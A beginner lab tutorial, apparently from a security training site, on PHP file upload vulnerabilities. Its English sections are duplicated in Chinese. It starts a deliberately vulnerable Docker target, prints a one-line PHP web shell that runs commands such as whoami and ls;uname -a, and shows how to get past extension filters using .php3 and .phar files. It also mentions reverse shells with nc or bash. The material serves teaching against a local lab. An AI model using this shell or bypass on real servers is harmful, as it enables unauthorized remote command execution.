文件上传漏洞详解

Beginner

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

Introduction

Welcome to our hands-on lab! Today, we're focusing on a prevalent issue: file upload vulnerabilities. Our mission is to demystify this common yet often misunderstood weak spot. We'll break down the principles behind these vulnerabilities, making them easy to understand. Then, we'll roll up our sleeves and learn how to exploit them effectively, equipping you with the knowledge to identify and resolve such issues in real-world applications. Let's get started on this exciting journey into the depths of web security!

Understanding the File Upload Vulnerability

Alright, folks! Buckle up because we're about to dive into the fascinating world of file upload vulnerabilities. Now, imagine you're at a party and there's a coat check. You give them your coat (or your dinosaur costume, if you're that kind of party-goer), they give you a ticket, and you expect to get your item back at the end of the night, right? Well, web applications often work similarly, accepting files like images, documents, and the like.

But what if someone sneaks in a porcupine instead of a coat? That's where things get prickly! If our web application, like a poor, unsuspecting coat check attendant, doesn't properly check the 'coat' (read: file's content and type), an attacker can sneak in something nasty. This could be a web shell, a kind of malicious file that, once executed, gives them control over the server—like giving a porcupine-controller the keys to the coat check!

Now, let's talk about PHP, a popular language for web development. PHP has a function called move_uploaded_file(), which is like the coat check guy moving your coat to a rack. Here's a quick look at how it works:

<?php
// This function moves the uploaded file to a new location. If it's successful, it gives a thumbs-up (returns true). If not, it's a thumbs-down (returns false).
move_uploaded_file($file, $newloc);
  • $file: The 'coat' (or porcupine) to move
  • $newloc: The rack where we're keeping the 'coat'

Here's the catch: move_uploaded_file() itself is like a really trusting coat check guy—it doesn't check the 'coat'. So, we need to write additional code to do the validation, like this:

<?php
// Allowed image extensions
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);        // Get the file extension

if ((($_FILES["file"]["type"] == "image/gif")
    || ($_FILES["file"]["type"] == "image/jpeg")
    || ($_FILES["file"]["type"] == "image/jpg")
    || ($_FILES["file"]["type"] == "image/pjpeg")
    || ($_FILES["file"]["type"] == "image/x-png")
    || ($_FILES["file"]["type"] == "image/png"))
    && ($_FILES["file"]["size"] < 204800)    // Less than 200 KB
    && in_array($extension, $allowedExts))
{
    if ($_FILES["file"]["error"] > 0)
    {
        echo "Error: " . $_FILES["file"]["error"] . "<br>";
    }
    else
    {
        echo "Uploaded file name: " . $_FILES["file"]["name"] . "<br>";
        echo "File type: " . $_FILES["file"]["type"] . "<br>";
        echo "File size: " . ($_FILES["file"]["size"] / 1024) . " KB<br>";
        echo "Temporary file location: " . $_FILES["file"]["tmp_name"];
    }
}
else
{
    echo "Invalid file format";
}
?>

If the application doesn't have a proper 'coat check' (validation) or if the validation can be fooled, we might end up with a file upload vulnerability. And nobody wants a porcupine in their coat check, right? So, let's learn how to avoid that!

Identifying the Server-side Language

In this step, is all about setting up our lab environment and learning to identify the server-side language of a web application. Why, you ask? Well, knowing the language helps us determine the right file type to upload. It's like knowing whether to bring a French, Spanish, or Swahili dictionary to a language exchange party!

First, we'll set up our lab environment. Think of it as arranging the venue for our party. Here's the magic command:

docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' --registry-mirror='https://registry.docker-cn.com' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/upload/images

Next, we'll teach you how to be a language detective. Here are your clues:

  1. URL File Extension:

    • Spot a .php in the URL? It's likely speaking PHP, so try uploading a .php shell file.
  2. Web Server Type:

    • If the web server is Microsoft IIS, it's probably chatting in ASP.NET. Try uploading an .asp or .aspx shell file.
    • If the server is Nginx or Apache, it's likely conversing in PHP. Try uploading a .php shell file.
    • If the server is Tomcat, it's probably using JSP. Try uploading a .jsp shell file.

To make things even easier, you can use the Wappalyzer browser extension. It's like a multilingual friend who can identify the web server type, backend language, and frameworks used by a website.

Once you've installed the extension, just click on it to automatically detect the website's information. It's like having a party guest who can instantly tell you everyone's language!

In our example below, our friendly extension successfully identifies the Apache web server and PHP programming language used in our lab environment:

Web Server: Apache
Backend Language: PHP

理解文件上传漏洞

好了,朋友们!系好安全带,因为我们即将深入探讨文件上传漏洞这个引人入胜的世界。想象一下,你正在参加一个派对,那里有一个衣帽寄存处。你把你的外套(或者恐龙服装,如果你是那种派对常客)交给他们,他们会给你一张票,你期望在派对结束时取回你的物品,对吧?嗯,Web 应用程序通常也是这样工作的,它们接受像图片、文档等文件。

但如果有人偷偷塞进一只豪猪而不是外套呢?这就是问题变得棘手的地方!如果我们的 Web 应用程序,就像一个毫无戒心的衣帽寄存员,没有正确检查“外套”(即文件的内容和类型),攻击者就可以偷偷塞进一些恶意的东西。这可能是一个 Web Shell,一种恶意文件,一旦执行,攻击者就可以控制服务器——就像把豪猪控制器的钥匙交给衣帽寄存员一样!

现在,让我们来谈谈 PHP,这是一种流行的 Web 开发语言。PHP 有一个叫做 move_uploaded_file() 的函数,它就像衣帽寄存员把你的外套移到衣架上。下面是一个快速了解它如何工作的示例:

<?php
// 这个函数将上传的文件移动到一个新位置。如果成功,它会给出一个赞(返回 true)。如果不成功,它会给出一个差评(返回 false)。
move_uploaded_file($file, $newloc);
  • $file: 要移动的“外套”(或豪猪)
  • $newloc: 存放“外套”的衣架

这里有个问题:move_uploaded_file() 本身就像一个非常信任的衣帽寄存员——它不会检查“外套”。所以,我们需要编写额外的代码来进行验证,就像这样:

<?php
// 允许的图片扩展名
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);        // 获取文件扩展名

if ((($_FILES["file"]["type"] == "image/gif")
    || ($_FILES["file"]["type"] == "image/jpeg")
    || ($_FILES["file"]["type"] == "image/jpg")
    || ($_FILES["file"]["type"] == "image/pjpeg")
    || ($_FILES["file"]["type"] == "image/x-png")
    || ($_FILES["file"]["type"] == "image/png"))
    && ($_FILES["file"]["size"] < 204800)    // 小于 200 KB
    && in_array($extension, $allowedExts))
{
    if ($_FILES["file"]["error"] > 0)
    {
        echo "Error: " . $_FILES["file"]["error"] . "<br>";
    }
    else
    {
        echo "Uploaded file name: " . $_FILES["file"]["name"] . "<br>";
        echo "File type: " . $_FILES["file"]["type"] . "<br>";
        echo "File size: " . ($_FILES["file"]["size"] / 1024) . " KB<br>";
        echo "Temporary file location: " . $_FILES["file"]["tmp_name"];
    }
}
else
{
    echo "Invalid file format";
}
?>

如果应用程序没有正确的“衣帽寄存”(验证)或者验证可以被绕过,我们可能会遇到文件上传漏洞。没有人希望在衣帽寄存处发现一只豪猪,对吧?所以,让我们学习如何避免这种情况!

识别服务器端语言

在这一步中,我们将设置我们的实验环境,并学习如何识别 Web 应用程序的服务器端语言。你可能会问,为什么要这样做?嗯,了解语言有助于我们确定要上传的正确文件类型。这就像知道要带法语、西班牙语还是斯瓦希里语词典去参加语言交流派对一样!

首先,我们将设置我们的实验环境。把它想象成为我们派对安排场地。以下是神奇的命令:

docker run -d -p 82:80 --name pentesterlab-WebforPentest-1 -it jewel591/vulnbox:pentesterlab-WebforPentest-1 /bin/sh -c 'service apache2 start && tail -f /var/log/apache2/error.log' --registry-mirror='https://registry.docker-cn.com' && docker exec pentesterlab-WebforPentest-1 chmod 777 /var/www/upload/images

接下来,我们将教你如何成为一名语言侦探。以下是你的线索:

  1. URL 文件扩展名:

    • 在 URL 中看到 .php 吗?它可能在使用 PHP,所以尝试上传一个 .php 的 Shell 文件。
  2. Web 服务器类型:

    • 如果 Web 服务器是 Microsoft IIS,它可能在使用 ASP.NET。尝试上传一个 .asp.aspx 的 Shell 文件。
    • 如果服务器是 Nginx 或 Apache,它可能在使用 PHP。尝试上传一个 .php 的 Shell 文件。
    • 如果服务器是 Tomcat,它可能在使用 JSP。尝试上传一个 .jsp 的 Shell 文件。

为了让事情变得更简单,你可以使用 Wappalyzer 浏览器扩展。它就像一个多语言的朋友,可以识别网站使用的 Web 服务器类型、后端语言和框架。

安装扩展后,只需点击它即可自动检测网站的信息。这就像有一个派对客人可以立即告诉你每个人的语言!

在下面的示例中,我们友好的扩展成功识别了我们实验环境中使用的 Apache Web 服务器和 PHP 编程语言:

Web Server: Apache
Backend Language: PHP

上传正确的 Web Shell

在这一步中,朋友们,我们将采取行动!我们将上传一个 Web Shell,这是一种特殊的文件,允许我们与服务器进行交互。这就像偷偷带一只训练有素的鹦鹉进入派对,它可以向我们耳语服务器的秘密。由于我们的派对……咳咳,我是说我们的实验环境,使用的是 PHP,我们需要一个 .php 的 Shell 文件。

你可以在这里找到一个装满 Web Shell 的宝箱:

https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/web-exploit-exp/fileupload/php

让我们从 /home/labex/project 目录中的一个简单的 phpinfo.php 文件开始。这就像问服务器:“嘿,告诉我关于你的一切!”以下是创建和上传它的方法:

<?php phpinfo(); ?>

你可以访问 http://localhost:82/upload/example1.php 来上传文件。

上传后,尝试访问该文件:

http://localhost:82/upload/images/phpinfo.php

你将看到类似以下的内容:

phpinfo 输出显示

如果一切顺利,你应该会看到一堆 PHP 信息。这就像服务器刚刚吐露了它的生活故事!

接下来,让我们尝试一个 .php 的一行 Web Shell shell.php,它在 /home/labex/project 目录中:

<?php echo "Shell"; system($_GET['cmd']); ?>

这段 PHP 魔法将通过 GET 请求中的 cmd 参数执行任何系统命令。

上传 shell.php 并尝试访问它:

http://localhost:82/upload/images/shell.php

你可能会看到一个 Warning 消息,因为我们还没有传递 cmd 参数。这就像我们的鹦鹉在说:“嘿,你忘了告诉我该说什么!”让我们给它一个命令。

要检查当前用户是谁,请使用:

http://localhost:82/upload/images/shell.php?cmd=whoami

你应该会看到输出 www-data

whoami 命令输出

你还可以让你的鹦鹉背诵一整首诗(执行多个命令),比如列出当前目录中的文件并检查操作系统信息:

http://localhost:82/upload/images/shell.php?cmd=ls;uname%20-a

恭喜!你现在可以让服务器吐露它的秘密了。

服务器命令输出显示

现在,如果你想进一步深入兔子洞,你可以:

  1. 使用 ncbash 等工具在你的本地机器上获取反向 Shell。
  2. 使用“Cknife”、“AntSword”或“Behinder”等工具获取 Web Shell。
  3. 如果你获得的 Shell 不是 root 或管理员用户,你可能需要提升权限。你可以参考课程“渗透测试方法论:Linux 权限提升”了解更多。

但由于这是一门“基础”课程,我们将把这些冒险留给我们更高级的课程。现在,让我们庆祝我们成功的文件上传漏洞利用!

绕过服务器限制(可选)

在这一可选步骤中,适合那些喜欢挑战的你,我们将探讨如何绕过服务器限制。这就像服务器是一个只允许戴着特定帽子(或文件扩展名)的客人进入派对的保镖。但如果我们能骗过保镖,让戴着不同帽子的客人进入呢?

有时,服务器可能不允许我们上传某些文件扩展名,比如 .php。在这种情况下,我们可以尝试上传不同扩展名的文件,这些文件仍然可以被服务器解析和执行。

例如,让我们尝试上传 phpinfo.php3

http://localhost:82/upload/example2.php

如果上传成功,尝试访问该文件:

http://localhost:82/upload/images/phpinfo.php3

如果文件没有执行,就像保镖没有被帽子戏法骗过。所以,我们换一顶帽子,尝试使用 .phar 扩展名:

http://localhost:82/upload/images/phpinfo.phar

如果 .phar 文件成功执行,就像保镖让我们的客人进来了!现在,你可以继续使用我们在前几步中使用的相同利用方法。

记住,这是一场智慧和创造力的游戏。绕过服务器限制还有更多技巧,我们将在高级课程中介绍。现在,享受你成功绕过保镖……我是说,服务器限制的乐趣吧!

总结

在本实验中,我们探讨了文件上传漏洞,这是 Web 应用程序中最常见的漏洞之一。我们学习了文件上传漏洞背后的原理,如何识别应用程序使用的服务器端语言,以及如何上传适当的 Web Shell 以获取对服务器的控制权。

本实验的关键要点包括:

  • 理解文件上传漏洞的概念及其潜在影响。
  • 识别 Web 应用程序使用的服务器端语言,以确定要上传的适当文件类型。
  • 上传并执行 Web Shell 以获取对服务器的控制权。
  • 绕过服务器对文件扩展名的限制的技术(可选)。

本实验为理解和利用文件上传漏洞奠定了坚实的基础。然而,还有更多高级技术和概念需要探索,这些内容将在未来的课程中涵盖。

您可能感兴趣的其他 教程